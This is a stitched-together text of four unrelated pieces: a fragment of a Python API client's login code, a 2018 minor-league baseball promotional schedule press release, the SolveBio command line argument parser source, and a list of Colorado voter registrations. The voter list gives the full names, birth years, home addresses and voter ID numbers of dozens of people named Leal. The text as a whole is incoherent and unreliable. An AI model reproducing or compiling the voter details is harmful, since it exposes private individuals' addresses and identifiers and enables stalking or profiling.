pass # Not a JSON response
if ex.code == 401:
raise AuthorizationRequiredError(resp_obj['reason'])
if type(resp_obj) is dict and resp_obj.get('error'):
LOGGER.error('API call failed: %s', resp_obj['reason'])
if raise_on_error:
raise BadResponseError(resp_obj['reason'])
return resp_obj, None
return resp_obj, headers
def _GetAuthorizedEndpoint(api_path, headers=None, **kwargs):
"""Gets API URL and the authorization headers.
The login/password must be set in the global variables API_LOGIN/API_PASS.
"""
global authorized_cookie
url = _MakeAPIUrl(api_path, **kwargs)
LOGGER.debug('Getting authorized endpoint for: %s', url)
if not headers:
headers = {}
if not authorized_cookie:
if not API_LOGIN or not API_PASS:
raise BadCredentialsError('API_LOGIN and/or API_PASS not set')
LOGGER.info('Authorizing for login: %s', API_LOGIN)
auth_headers, data = FormDataUtil.EncodeFormData([
{ 'name': 'username', 'data': API_LOGIN },
{ 'name': 'password', 'data': API_PASS },
])
resp, auth_headers = _CallAPI(
API_BASE_URL + API_AUTHORIZE, data, auth_headers,
raise_on_error=False)
if resp['error']:
raise BadCredentialsError(resp['reason'])
authorized_cookie = auth_headers['set-cookie']
headers['Cookie'] = authorized_cookie
return url, headers
|
CHARLESTON, WV (March 9, 2018) - The West Virginia Power, Class A affiliate of the Pittsburgh Pirates, are excited to release their 2018 promotional schedule. Over the course of the 2018 season, fans will be treated to spectacular fireworks shows, special discounts, one-of-a-kind giveaways and unique appearances at Appalachian Power Park.
Single-game tickets are on sale now for all of these exciting promotional nights and will remain at the Dime-Per-Degree price of $2.80 through Sunday, March 11, at 11:59 p.m. Tickets will only be available on the Power website throughout the weekend and can be purchased in person at the West Virginia Power box office or over the phone beginning at 10:30 A.M. on Monday, March 12.
View the entire 2018 West Virginia Power Promotional Schedule!
The Power kicks off its 14th season on April 5 as the club squares off with the defending South Atlantic League champion Greenville Drive at 7:05 p.m. at Appalachian Power Park. The first 1,000 fans who traverse through the gates will receive a personal 2018 magnet schedule giveaway, while all fans can enjoy the first of 11 Thirsty Thursday specials that evening. Patrons can enjoy $1.00 12-ounce beverages and $2.00 16-ounce cans through the end of the seventh inning during every Thursday home game, sponsored by WKLC. The Opening Night fun does not stop there, as the best fireworks display in the Kanawha Valley returns to Appalachian Power Park following the contest on April 5, courtesy of Electric 102.7.
BrewFest CharlieWest, presented by Rock 105, highlights the April promotional slate, with the first 1,000 fans receiving a West Virginia Power pint glass, and a beer festival featuring live music and some of the best craft brews from the region set to follow the game's conclusion. For $30, fans can gain access to the game and five craft beer vouchers.
April also marks the return of three fan favorite weekly promotions, Kid's Sunday Funday, Family Buck Night and Two For Tuesday. On Sundays, children ages 12 and younger can play catch in the outfield prior to the 2:05 p.m. first pitch and run the bases after the final out, sponsored by SMART529 College Savings Program. Plus, several Power players will be available for autographs.
Family Buck Nights commence on Monday, April 9, where fans can purchase box seats for $3.00 and general admission tickets for $1.00, along with $1.00 hot dogs, popcorn and 12-ounce Pepsi products.
On April 10, the Power's first Two for Tuesday special gets underway, where fans can enjoy two-for-one 16-ounce beer cans and other special concession items during most Tuesday home games.
The first home series concludes with the first of two Grand Slam School Days on Wednesday, April 11, as the Power wrap up their three-game set against the Lakewood BlueClaws with a 10:35 a.m. first pitch. The second Grand Slam School Day occurs on Tuesday, April 24, when the Power entertain the Rome Braves at 10:35 a.m.
Other highlights for the season's inaugural month include Awful Day on Saturday, April 21, along with our first Pets in the Park Night on Wednesday, April 25. The Power will offer two Family Buck Nights, Fireworks Nights and Kid's Sunday Fundays, one Two for Tuesday and three Thirsty Thursdays in April.
May kicks off with an action-packed first homestand, as the Power host a mini-comic con, Star Wars night, Pirates and Princesses Night and Harry Potter Day over four consecutive days beginning on Thursday, May 3. Piggy-backing the Power's night dedicated to fighting the Empire is our first postgame fireworks show in May, sponsored by the West Virginia Lottery, while Saturday's evening of swashbuckling includes a Golden Baseball giveaway and Sunday's magical afternoon concludes with a screening of Harry Potter and the Sorcerer's Stone.
Wrestling Night returns to the diamond on Saturday, May 26, while Power to End Stroke Night on Thursday, May 17, presented by the American Heart Association, and Military Appreciation Night on Friday, May 18, with postgame fireworks sponsored by UniCare Healthplan of West Virginia, dot the campaign's May schedule as well.
Two other giveaways are on the docket for May, with details to be announced later, along with two Family Buck Nights, a Two for Tuesday, two Thirsty Thursdays, three Fireworks Nights, a Pets in the Park Night and three Kid's Sunday Fundays.
June's promotional focal point comes in the Power's final home stretch of the first half from June 15-17, as the Delmarva Shorebirds flock to Charleston for the first time in 2018. The promotion-filled weekend commences with another postgame fireworks spectacle following Friday's opener, sponsored by Huntington Bank. On June 16, the team will hold its annual West Virginia Day celebration with a bluetooth speaker giveaway to the first 1,000 fans in attendance, sponsored by Appalachian Power, before Campout Night takes over the ballpark. The Power conclude the first half by paying homage to Lincoln County through a special day at the park, presented by Lincoln Primary Care and the Southern West Virginia Health System.
Other nights in June include a Family Buck Night and two Two for Tuesdays, Thirsty Thursdays, Fireworks Nights, Kid's Sunday Fundays and Pets in the Park Nights.
July is jam-packed with promotions at Appalachian Power Park, jumpstarted by our 4th of July Independence Day Celebration, which will include an extended version of the best pyrotechnics show in the Kanawha Valley, presented by Highmark West Virginia. The festivities continue on Friday, July 6, with Hatfield and McCoy Night, where the fight for The Golden Pig will reach its pinnacle as the Legends play their final game in Charleston in 2018. Purple Power Night, an evening devoted to supporting pancreatic cancer, is slated for Saturday, July 7, while PBS Kids Day is on tap for Sunday, July 8, with several cartoon characters set to be in attendance.
On July 14, Thomas Health System is proud to sponsor Ryan Switzer Night, with a special bobblehead giveaway of the current Dallas Cowboy available to the first 1,000 fans, while July 27 is slotted for Faith and Family Night, with a performance from the Jason Lovins Band and postgame fireworks presented by TransCanada on tap.
The Power will host a Christmas in July Food Drive on Saturday, July 28, along with a bucket hat giveaway to the first 1,000 fans, courtesy of IHOP. The club also has Game Show Night on the agenda for July 16.
The weekly promotions come in bunches in July as well, with two Family Buck Nights and Fireworks Nights, three Kid's Sunday Fundays and a Thirsty Thursday on the schedule.
The month of August sees the Power's home season come to a close, but not without some more outstanding promotions, most notably a Trevor Hoffman statue giveaway as a part of Wheelers weekend on Saturday, August 18, to the first 1,000 fans, courtesy of Charleston Building and Construction Trades Council. Additionally, the club will host West Virginia Tourism Night on Thursday, August 16, sponsored by the Charleston CVB, before celebrating Chuck's birthday on Monday, August 20.
On August 4, its Back to School Night at Appalachian Power Park, with a 2-in-1 backpack giveaway to the first 1,000 fans on tap courtesy of Ortho Clinic, while Wednesday, August 29, is the final Pets in the Park excursion of the season.
Our weekly promotions conclude in August with two Family Buck Nights, Two for Tuesdays and Kid's Sunday Fundays, three Thirsty Thursdays and two Fireworks Nights to round out our promotional lineup for 2018.
All promotions, giveaways, appearances and events are subject to change without notice. More promotional details will be released as they become available. For more information on any of our exciting promotions, call 304-344-BATS or visit wvpower.com.
The Power kicks off its 14th campaign on Opening Night, April 5, with a four-game series against the defending South Atlantic League champion Greenville Drive, followed by a three-game set with Lakewood. The team will play 15 home games in April, May and August, 12 in June and 13 contests inside their friendly confines in July. The club's home slate concludes on August 30, our final Thirsty Thursday of the season, after a 7:05 p.m. tilt with the Hagerstown Suns.
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import absolute_import
import os
import sys
import copy
import argparse
import solvebio
from . import auth
from . import data
from .tutorial import print_tutorial
from .ipython import launch_ipython_shell
from ..utils.validators import validate_api_host_url
from ..utils.files import get_home_dir
class TildeFixStoreAction(argparse._StoreAction):
"""A special "store" action for argparse that replaces
any detected home directory with a tilde.
(reverses bash's built-in ~ expansion).
"""
def __call__(self, parser, namespace, values, option_string=None):
home = get_home_dir()
if values and values.startswith(home):
values = values.replace(home, '~', 1)
setattr(namespace, self.dest, values)
# KEY=VALUE argparser
# https://stackoverflow.com/a/56521375/305633
class KeyValueDictAppendAction(argparse.Action):
"""
argparse action to split an argument into KEY=VALUE form
on the first = and append to a dictionary.
"""
def __call__(self, parser, args, values, option_string=None):
assert(len(values) == 1)
try:
(k, v) = values[0].split("=", 2)
except ValueError:
raise argparse.ArgumentError(
self, "could not parse argument '{}' as k=v format"
.format(values[0]))
d = getattr(args, self.dest) or {}
d[k] = v
setattr(args, self.dest, d)
class SolveArgumentParser(argparse.ArgumentParser):
"""
Main parser for the SolveBio command line client.
"""
subcommands = {
'login': {
'func': auth.login_and_save_credentials,
'help': 'Login and save credentials'
},
'logout': {
'func': auth.logout,
'help': 'Logout and delete saved credentials'
},
'whoami': {
'func': auth.whoami,
'help': 'Show your SolveBio email address'
},
'tutorial': {
'func': print_tutorial,
'help': 'Show the SolveBio Python Tutorial',
},
'shell': {
'func': launch_ipython_shell,
'help': 'Open the SolveBio Python shell'
},
'import': {
'func': data.import_file,
'help': 'Import a local file into a SolveBio dataset',
'arguments': [
{
'flags': '--create-vault',
'action': 'store_true',
'help': 'Create the vault if it doesn\'t exist',
},
{
'flags': '--create-dataset',
'action': 'store_true',
'help': 'Create the dataset if it doesn\'t exist',
},
{
'flags': '--capacity',
'default': 'small',
'help': 'Specifies the capacity of the created dataset: '
'small (default, <100M records), '
'medium (<500M), large (>=500M)'
},
{
'name': '--tag',
'help': 'A tag to be added. '
'Tags are case insensitive strings. Example tags: '
'--tag GRCh38 --tag Tissue --tag "Foundation Medicine"',
'action': 'append',
},
{
'name': '--metadata',
'help': 'Dataset metadata in the format KEY=VALUE ',
'nargs': 1,
'metavar': 'KEY=VALUE',
'action': KeyValueDictAppendAction
},
{
'name': '--metadata-json-file',
'help': 'Metadata key value pairs in JSON format'
},
{
'flags': '--template-id',
'help': 'The template ID used when '
'creating a new dataset (via --create-dataset)',
},
{
'flags': '--template-file',
'help': 'A local template file to be used when '
'creating a new dataset (via --create-dataset)',
},
{
'flags': '--follow',
'action': 'store_true',
'default': False,
'help': 'Follow the import\'s progress until it completes'
},
{
'flags': '--commit-mode',
'default': 'append',
'help': 'Commit mode to use when importing data. '
'Options are "append" (default), "overwrite",'
'"upsert", or "delete"'
},
{
'flags': '--remote-source',
'action': 'store_true',
'default': False,
'help': 'File paths are remote globs or full paths on '
'the SolveBio file system.'
},
{
'flags': '--dry-run',
'help': 'Dry run mode will not create any datasets or '
'import any files.',
'action': 'store_true'
},
{
'name': 'full_path',
'help': 'The full path to the dataset in the format: '
'"domain:vault:/path/dataset". ',
'action': TildeFixStoreAction
},
{
'name': 'file',
'help': 'One or more files to import. Can be local files, '
'folders, globs or remote URLs. Pass --remote-source in '
'order to list remote full_paths or path globs on the '
'SolveBio file system.',
'nargs': '+'
},
]
},
'create-dataset': {
'func': data.create_dataset,
'help': 'Create a SolveBio dataset',
'arguments': [
{
'flags': '--create-vault',
'action': 'store_true',
'help': 'Create the vault if it doesn\'t exist',
},
{
'flags': '--template-id',
'help': 'The template ID used when '
'creating a new dataset (via --create-dataset)',
},
{
'flags': '--template-file',
'help': 'A local template file to be used when '
'creating a new dataset (via --create-dataset)',
},
{
'flags': '--capacity',
'default': 'small',
'help': 'Specifies the capacity of the dataset: '
'small (default, <100M records), '
'medium (<500M), large (>=500M)'
},
{
'name': '--tag',
'help': 'A tag to be added. '
'Tags are case insensitive strings. Example tags: '
'--tag GRCh38 --tag Tissue --tag "Foundation Medicine"',
'action': 'append',
},
{
'name': '--metadata',
'help': 'Dataset metadata in the format KEY=VALUE ',
'nargs': 1,
'metavar': 'KEY=VALUE',
'action': KeyValueDictAppendAction
},
{
'name': '--metadata-json-file',
'help': 'Metadata key value pairs in JSON format'
},
{
'flags': '--dry-run',
'help': 'Dry run mode will not create the dataset',
'action': 'store_true'
},
{
'name': 'full_path',
'help': 'The full path to the dataset in the format: '
'"domain:vault:/path/dataset". '
'Defaults to your personal vault if no vault is provided. '
'Defaults to the vault root if no path is provided.',
'action': TildeFixStoreAction
},
]
},
'upload': {
'func': data.upload,
'help': 'Upload a file or directory to a SolveBio Vault',
'arguments': [
{
'flags': '--full-path',
'help': 'The full path where the files and folders should '
'be created, defaults to the root of your personal vault',
'action': TildeFixStoreAction,
'default': '~/'
},
{
'flags': '--create-full-path',
'help': 'Creates --full-path location if it does '
'not exist. NOTE: This will not create new vaults.',
'action': 'store_true',
},
{
'flags': '--exclude',
'help': 'Paths to files or folder to be excluded from '
'upload. Unix shell-style wildcards are supported.',
'action': 'append'
},
{
'flags': '--dry-run',
'help': 'Dry run mode will not upload any files or '
'create any folders.',
'action': 'store_true'
},
{
'name': 'local_path',
'help': 'The path to the local file or directory '
'to upload',
'nargs': '+'
}
]
},
'download': {
'func': data.download,
'help': 'Download one or more files from a SolveBio Vault.',
'arguments': [
{
'flags': '--dry-run',
'help': 'Dry run mode will not download any files or '
'create any folders.',
'action': 'store_true'
},
{
'flags': 'full_path',
'help': 'The full path to the files on SolveBio. Supports '
'Unix style globs in order to download multiple files. '
'Note: Downloads are not recursive.',
'action': TildeFixStoreAction
},
{
'name': 'local_path',
'help': 'The path to the local directory where '
'to download files.',
}
]
},
'tag': {
'func': data.tag,
'help': 'Apply tags or remove tags on objects',
'arguments': [
{
'flags': 'full_path',
'help': 'The full path of the files, '
'folders or datasets to apply the tag updates. '
'Unix shell-style wildcards are supported. ',
'nargs': '+'
},
{
'name': '--tag',
'help': 'A tag to be added/removed. '
'Files, folders and datasets can be tagged. '
'Tags are case insensitive strings. Example tags: '
'--tag GRCh38 --tag Tissue --tag "Foundation Medicine"',
'action': 'append',
'required': True
},
{
'flags': '--remove',
'help': 'Will remove tags instead of adding them.',
'action': 'store_true'
},
{
'flags': '--exclude',
'help': 'Paths to files or folder to be excluded from '
'tagging. Unix shell-style wildcards are supported.',
'action': 'append'
},
{
'flags': '--tag-folders-only',
'help': 'Will only apply tags to folders (tags '
'all objects by default). ',
'action': 'store_true'
},
{
'flags': '--tag-files-only',
'help': 'Will only apply tags to files (tags '
'all objects by default). ',
'action': 'store_true'
},
{
'flags': '--tag-datasets-only',
'help': 'Will only apply tags to datasets (tags '
'all objects by default). ',
'action': 'store_true'
},
{
'flags': '--dry-run',
'help': 'Dry run mode will not save tags.',
'action': 'store_true'
},
{
'flags': '--no-input',
'help': 'Automatically accept changes (overrides '
'user prompt)',
'action': 'store_true'
},
]
},
'queue': {
'func': data.show_queue,
'help': 'Shows the current job queue, grouped by User',
}
}
def __init__(self, *args, **kwargs):
super(SolveArgumentParser, self).__init__(*args, **kwargs)
self._optionals.title = 'SolveBio Options'
self.add_argument(
'--version',
action='version',
version=solvebio.version.VERSION)
self.add_argument(
'--api-host',
help='Override the default SolveBio API host',
type=self.api_host_url)
self.add_argument(
'--api-key',
help='Manually provide a SolveBio API key')
self.add_argument(
'--access-token',
help='Manually provide a SolveBio OAuth2 access token')
def _add_subcommands(self):
"""
The _add_subcommands method must be separate from the __init__
method, as infinite recursion will occur otherwise, due to the fact
that the __init__ method itself will be called when instantiating
a subparser, as we do below
"""
subcmd_params = {
'title': 'SolveBio Commands',
'dest': 'subcommands'
}
subcmd = self.add_subparsers(
**subcmd_params) # pylint: disable=star-args
subcommands = copy.deepcopy(self.subcommands)
for name, params in subcommands.items():
p = subcmd.add_parser(name, help=params['help'])
p.set_defaults(func=params['func'])
for arg in params.get('arguments', []):
name_or_flags = arg.pop('name', None) or arg.pop('flags', None)
p.add_argument(name_or_flags, **arg)
def parse_solvebio_args(self, args=None, namespace=None):
"""
Try to parse the args first, and then add the subparsers. We want
to do this so that we can check to see if there are any unknown
args. We can assume that if, by this point, there are no unknown
args, we can append shell to the unknown args as a default.
However, to do this, we have to suppress stdout/stderr during the
initial parsing, in case the user calls the help method (in which
case we want to add the additional arguments and *then* call the
help method. This is a hack to get around the fact that argparse
doesn't allow default subcommands.
"""
try:
sys.stdout = sys.stderr = open(os.devnull, 'w')
_, unknown_args = self.parse_known_args(args, namespace)
if not unknown_args:
args.insert(0, 'shell')
except SystemExit:
pass
finally:
sys.stdout.flush()
sys.stderr.flush()
sys.stdout, sys.stderr = sys.__stdout__, sys.__stderr__
self._add_subcommands()
return super(SolveArgumentParser, self).parse_args(args, namespace)
def api_host_url(self, value):
validate_api_host_url(value)
return value
def main(argv=sys.argv[1:]):
""" Main entry point for SolveBio CLI """
parser = SolveArgumentParser()
args = parser.parse_solvebio_args(argv)
solvebio.login(
api_host=args.api_host or solvebio.api_host,
api_key=args.api_key or solvebio.api_key,
access_token=args.access_token or solvebio.access_token)
return args.func(args)
if __name__ == '__main__':
main()
|
Leal, Frankie Paul was born in 1960 and he registered to vote, giving his address as 11426 Cook CT, THORNTON, Adams County, CO. His voter ID number is 2864582.
Leal, Freddy was born in 1983 and he registered to vote, giving his address as 2290 S King ST, DENVER, Denver County, CO. His voter ID number is 601085744.
Leal, Gabriel Enoc was born in 1992 and he registered to vote, giving his address as 12750 W 63Rd AVE, ARVADA, Jefferson County, CO. His voter ID number is 601179908.
Leal, Garrett John was born in 1992 and he registered to vote, giving his address as 5225 W 11Th ST APT 1604, GREELEY, Weld County, CO. His voter ID number is 200285267.
Leal, Gary Dean was born in 1969 and he registered to vote, giving his address as 8934 W 78Th CIR, ARVADA, Jefferson County, CO. His voter ID number is 6922130.
Leal, Gilbert Lee was born in 1952 and he registered to vote, giving his address as 4196 Florence DR, LOVELAND, Larimer County, CO. His voter ID number is 1391575.
Leal, Giovanni was born in 1999 and he registered to vote, giving his address as 1500 W Thornton PKWY LOT 91, THORNTON, Adams County, CO. His voter ID number is 601619335.
Leal, Gregory Lee was born in 1962 and he registered to vote, giving his address as 744 Mockingbird ST UNIT F107, BRIGHTON, Adams County, CO. His voter ID number is 600740605.
Leal, Gregory Vidal was born in 1963 and he registered to vote, giving his address as 583 Salem CT, AURORA, Arapahoe County, CO. His voter ID number is 600517161.
Leal, Guadalupe was born in 1981 and she registered to vote, giving her address as 416 Baker ST, LONGMONT, Boulder County, CO. Her voter ID number is 8097116.
Leal, Guadalupe Salazar was born in 1938 and she registered to vote, giving her address as 8201 S Santa Fe DR # 68, LITTLETON, Arapahoe County, CO. Her voter ID number is 807264.
Leal, Haley Marie was born in 1990 and she registered to vote, giving her address as 2116 Wyoming AVE, PUEBLO, Pueblo County, CO. Her voter ID number is 601333324.
Leal, Haley Parke was born in 1994 and she registered to vote, giving her address as 672 Urban CT # G3, LAKEWOOD, Jefferson County, CO. Her voter ID number is 600617605.
Leal, Heather Rose was born in 1985 and she registered to vote, giving her address as 1590 N Gatehouse CIR APT 201, COLO SPRINGS, El Paso County, CO. Her voter ID number is 435606.
Leal, Hector Lorenso was born in 1970 and he registered to vote, giving his address as 2563 Meadowbrook DR, DENVER, Adams County, CO. His voter ID number is 6878553.
Leal, Helen was born in 1930 and she registered to vote, giving her address as 4031 N Zuni ST, DENVER, Denver County, CO. Her voter ID number is 2496873.
Leal, Helen Marie was born in 1974 and she registered to vote, giving her address as 1144 S Pecos ST APT 332, DENVER, Denver County, CO. Her voter ID number is 2462206.
Leal, Hope was born in 1955 and she registered to vote, giving her address as 1859 Chesapeake CIR, JOHNSTOWN, Weld County, CO. Her voter ID number is 6312188.
Leal, Hortense was born in 1931 and she registered to vote, giving her address as 5500 E Peakview AVE # 1215, CENTENNIAL, Arapahoe County, CO. Her voter ID number is 835943.
Leal, Ivan Ismael was born in 1992 and he registered to vote, giving his address as 5446 S Walden CT, CENTENNIAL, Arapahoe County, CO. His voter ID number is 600366380.
Leal, Jacqueline Caridad was born in 1984 and she registered to vote, giving her address as 402 Sunny LN, FOUNTAIN, El Paso County, CO. Her voter ID number is 349920.
Leal, Jaime H was born in 1966 and he registered to vote, giving his address as 638 Allison ST, LAKEWOOD, Jefferson County, CO. His voter ID number is 3991694.
Leal, Jalisa Brook was born in 1991 and she registered to vote, giving her address as 4620 N Shoshone ST, DENVER, Denver County, CO. Her voter ID number is 200333058.
Leal, James Donald Sr was born in 1957 and he registered to vote, giving his address as 3731 W 13Th AVE, DENVER, Denver County, CO. His voter ID number is 2785527.
Leal, James Donald Jr was born in 1999 and he registered to vote, giving his address as 3190 W 3Rd AVE APT 1, DENVER, Denver County, CO. His voter ID number is 601631874.
Leal, James Louie was born in 1981 and he registered to vote, giving his address as 9900 E Florida AVE # 14, DENVER, Arapahoe County, CO. His voter ID number is 6961113.
Leal, Jamielynn Antoinette was born in 1990 and she registered to vote, giving her address as 3731 W 13Th AVE, DENVER, Denver County, CO. Her voter ID number is 600068272.
Leal, Jason E was born in 1973 and he registered to vote, giving his address as 1729 Martin Luther King BLVD, DENVER, Denver County, CO. His voter ID number is 1401665.
Leal, Jason Joshua was born in 1980 and he registered to vote, giving his address as 3842 N Odessa ST, DENVER, Denver County, CO. His voter ID number is 7110074.
Leal, Jason Wade was born in 1972 and he registered to vote, giving his address as 12400 Arapahoe, LAFAYETTE, Boulder County, CO. His voter ID number is 601241232.
Leal, Jeanne Ann was born in 1966 and she registered to vote, giving her address as 9860 W 86Th PL, ARVADA, Jefferson County, CO. Her voter ID number is 4061528.
Leal, Jeffery Thomas was born in 1960 and he registered to vote, giving his address as 2525 S Wolff ST, DENVER, Denver County, CO. His voter ID number is 2429948.
Leal, Jeffrey Reynaldo was born in 1975 and he registered to vote, giving his address as 7499 Bison PL, LITTLETON, Douglas County, CO. His voter ID number is 5939799.
Leal, Jennifer Faith was born in 1991 and she registered to vote, giving her address as 0 Fort Carson, FT CARSON, El Paso County, CO. Her voter ID number is 601534161.
Leal, Jeremy Steven was born in 1972 and he registered to vote, giving his address as 654 E Clarion DR APT A, PUEBLO WEST, Pueblo County, CO. His voter ID number is 3068507.
Leal, Jerome Curtis was born in 1986 and he registered to vote, giving his address as 1940 Alton ST, AURORA, Adams County, CO. His voter ID number is 600204548.
Leal, Jesse was born in 1983 and he registered to vote, giving his address as 3425 W Warren AVE, DENVER, Denver County, CO. His voter ID number is 6837907.
Leal, Jesus S Jr was born in 1953 and he registered to vote, giving his address as 846 E 18Th AVE, DENVER, Denver County, CO. His voter ID number is 2627502.
Leal, Jody Lynn was born in 1971 and she registered to vote, giving her address as 59 Normandy CIR, PUEBLO, Pueblo County, CO. Her voter ID number is 477282.
Leal, John Anthony Iii was born in 1981 and he registered to vote, giving his address as 1490 S Reed ST # 107B, LAKEWOOD, Jefferson County, CO. His voter ID number is 2649085.
Leal, Jolene Marie was born in 1992 and she registered to vote, giving her address as 1417 Cypress ST, PUEBLO, Pueblo County, CO. Her voter ID number is 200284714.
Leal, Jose Abel was born in 1949 and he registered to vote, giving his address as 909 Cottonwood CT, FT LUPTON, Weld County, CO. His voter ID number is 6393540.
Leal, Jose Antonio was born in 1951 and he registered to vote, giving his address as 1601 S Knox CT, DENVER, Denver County, CO. His voter ID number is 200379298.
Leal, Jose De Jesus Jr was born in 1961 and he registered to vote, giving his address as 4229 S Ireland ST, AURORA, Arapahoe County, CO. His voter ID number is 912344.
Leal, Jose Ivan was born in 1995 and he registered to vote, giving his address as 1575 Galena ST APT B201, AURORA, Adams County, CO. His voter ID number is 600932515.
Leal, Jose Luis was born in 1968 and he registered to vote, giving his address as 2618 Manassas WAY, COLO SPRINGS, El Paso County, CO. His voter ID number is 600062706.
Leal, Jose Luis was born in 1993 and he registered to vote, giving his address as 7181/2 Edison ST, BRUSH, Morgan County, CO. His voter ID number is 600747560.
Leal, Jose Luis Jr was born in 1993 and he registered to vote, giving his address as 7512 Copper Crest VW # 308, COLO SPRINGS, El Paso County, CO. His voter ID number is 600806372.
Leal, Jose Oliver was born in 1997 and he registered to vote, giving his address as 3504 N Vallejo ST, DENVER, Denver County, CO. His voter ID number is 601627900.
Leal, Joseph David was born in 1971 and he registered to vote, giving his address as 1196 S Calle Del Norte DR, PUEBLO WEST, Pueblo County, CO. His voter ID number is 3019615.
Leal, Joseph Gilbert Jr was born in 1951 and he registered to vote, giving his address as 128 Fordham CIR, PUEBLO, Pueblo County, CO. His voter ID number is 3055261.
Leal, Joshua Edwin was born in 1981 and he registered to vote, giving his address as 531 Stanton AVE, PUEBLO, Pueblo County, CO. His voter ID number is 601341936.
Leal, Joshua Ryan was born in 1995 and he registered to vote, giving his address as 6223 Gossamer ST, COLO SPRINGS, El Paso County, CO. His voter ID number is 601737901.
Leal, Josie was born in 1955 and she registered to vote, giving her address as 2205 N Main ST, PUEBLO, Pueblo County, CO. Her voter ID number is 200066991.
Leal, Jozette Marie was born in 1977 and she registered to vote, giving her address as 2535 La Veta LN, PUEBLO, Pueblo County, CO. Her voter ID number is 600307706.
Leal, Juan Carlos was born in 1978 and he registered to vote, giving his address as 1923 23Rd Avenue CT, GREELEY, Weld County, CO. His voter ID number is 6342871.
Leal, Juanita Elaine was born in 1945 and she registered to vote, giving her address as 646 46Th Avenue CT, GREELEY, Weld County, CO. Her voter ID number is 6341405.
Leal, Juan Jose was born in 1974 and he registered to vote, giving his address as 6841 E 77Th AVE, COMMERCE CITY, Adams County, CO. His voter ID number is 6995256.
Leal, Jubilee Jo was born in 1995 and she registered to vote, giving her address as 6522 Fossil Crest DR, FORT COLLINS, Larimer County, CO. Her voter ID number is 600843575.
Leal, Judith Rae was born in 1944 and she registered to vote, giving her address as 744 Mockingbird ST UNIT F107, BRIGHTON, Adams County, CO. Her voter ID number is 600740601.
Leal, Judy Angelina was born in 1948 and she registered to vote, giving her address as 4402 W 9Th ST, GREELEY, Weld County, CO. Her voter ID number is 3989987.
Leal, Julia S was born in 1922 and she registered to vote, giving her address as 4402 W 9Th ST, GREELEY, Weld County, CO. Her voter ID number is 6360631.
Leal, Justin Paul was born in 1988 and he registered to vote, giving his address as 7350 Tennyson ST # 4, WESTMINSTER, Adams County, CO. His voter ID number is 200349848.
Leal, Kartis Lee was born in 1977 and he registered to vote, giving his address as 1550 Alton ST UNIT 103, AURORA, Adams County, CO. His voter ID number is 692385.
Leal, Kelly Jane was born in 1975 and she registered to vote, giving her address as 1196 S Calle Del Norte DR, PUEBLO WEST, Pueblo County, CO. Her voter ID number is 3096964.
Leal, Kevin Thomas was born in 1991 and he registered to vote, giving his address as 1859 Chesapeake CIR, JOHNSTOWN, Weld County, CO. His voter ID number is 200269212.
Leal, Kimberly Jeanette was born in 1978 and she registered to vote, giving her address as 2444 River Rim RD # 18, LOVELAND, Larimer County, CO. Her voter ID number is 1522946.
Leal, Kimberly Sue was born in 1997 and she registered to vote, giving her address as 906 E 13Th ST, PUEBLO, Pueblo County, CO. Her voter ID number is 601096731.
Leal, Kristen M was born in 1981 and she registered to vote, giving her address as 6805 S Webster ST # E, LITTLETON, Jefferson County, CO. Her voter ID number is 4118749.
Leal, Kristin Jo was born in 1981 and she registered to vote, giving her address as 421 Emery RD, NORTHGLENN, Adams County, CO. Her voter ID number is 6834522.
Leal, Laurie Ann was born in 1960 and she registered to vote, giving her address as 4574 Everett CT, WHEAT RIDGE, Jefferson County, CO. Her voter ID number is 4231676.
Leal, Leonard was born in 1959 and he registered to vote, giving his address as 210 N Inca ST APT A, DENVER, Denver County, CO. His voter ID number is 2848321.
Leal, Leonard Michael was born in 1969 and he registered to vote, giving his address as 1830 W 52Nd AVE, DENVER, Denver County, CO. His voter ID number is 2714937.
Leal, Lesley Ann was born in 1980 and she registered to vote, giving her address as 11603 Elk Head Range RD, LITTLETON, Jefferson County, CO. Her voter ID number is 7049200.
Leal, Levi Louie was born in 1972 and he registered to vote, giving his address as 910 N Neilson AVE, PUEBLO, Pueblo County, CO. His voter ID number is 3028612.
Leal, Lila was born in 1949 and she registered to vote, giving her address as 2212 8Th ST # 3, GREELEY, Weld County, CO. Her voter ID number is 601364988.
Leal, Linda Fabiola was born in 1980 and she registered to vote, giving her address as 422 E 7Th ST, LEADVILLE, Lake County, CO. Her voter ID number is 600846205.
Leal, Linda Lee was born in 1961 and she registered to vote, giving her address as 9538 W San Juan CIR # 302, LITTLETON, Jefferson County, CO. Her voter ID number is 4112789.
Leal, Lloyd was born in 1943 and he registered to vote, giving his address as 1910 Clark RD, BAILEY, Park County, CO. His voter ID number is 6993101.
Leal, Loelia was born in 1968 and she registered to vote, giving her address as 3855 S Olathe CIR, AURORA, Arapahoe County, CO. Her voter ID number is 3582603.
Leal, Lorna Marie was born in 1956 and she registered to vote, giving her address as 1540 Billings ST LOT F24, AURORA, Adams County, CO. Her voter ID number is 600920244.
Leal, Lorraine was born in 1961 and she registered to vote, giving her address as 1480 S Leyden ST, DENVER, Denver County, CO. Her voter ID number is 2964732.
Leal, Lorraine Yvonne was born in 1954 and she registered to vote, giving her address as 217 S Grand AVE, PUEBLO, Pueblo County, CO. Her voter ID number is 2950113.
Leal, Luis Antonio was born in 1990 and he registered to vote, giving his address as 0 Fort Carson, FT CARSON, El Paso County, CO. His voter ID number is 601534063.
Leal, Lydia C was born in 1940 and she registered to vote, giving her address as 64 N Fox ST, DENVER, Denver County, CO. Her voter ID number is 2543511.
Leal, Manuel Iv was born in 1996 and he registered to vote, giving his address as 1200 Dearborn ST, AURORA, Arapahoe County, CO. His voter ID number is 601683685.
Leal, Manuel was born in 1933 and he registered to vote, giving his address as 5446 S Walden CT, CENTENNIAL, Arapahoe County, CO. His voter ID number is 899718.
Leal, Manuel Johnny Jr was born in 1958 and he registered to vote, giving his address as 11284 Clermont DR, THORNTON, Adams County, CO. His voter ID number is 7054283.
Leal, Marcos Jr was born in 1951 and he registered to vote, giving his address as 2861 Tallgrass LN, BERTHOUD, Larimer County, CO. His voter ID number is 601082621.
Leal, Maria Estela was born in 1950 and she registered to vote, giving her address as 909 Cottonwood CT, FT LUPTON, Weld County, CO. Her voter ID number is 600203943.
Leal, Maribel was born in 1985 and she registered to vote, giving her address as 1730 S Ouray CT, AURORA, Arapahoe County, CO. Her voter ID number is 2861091.
Leal, Marilyn Marie was born in 1961 and she registered to vote, giving her address as 12132 Point Reyes DR, PEYTON, El Paso County, CO. Her voter ID number is 601452343.
Leal, Marisa Stephanie was born in 1991 and she registered to vote, giving her address as 1790 Bahama ST, AURORA, Adams County, CO. Her voter ID number is 200235961.
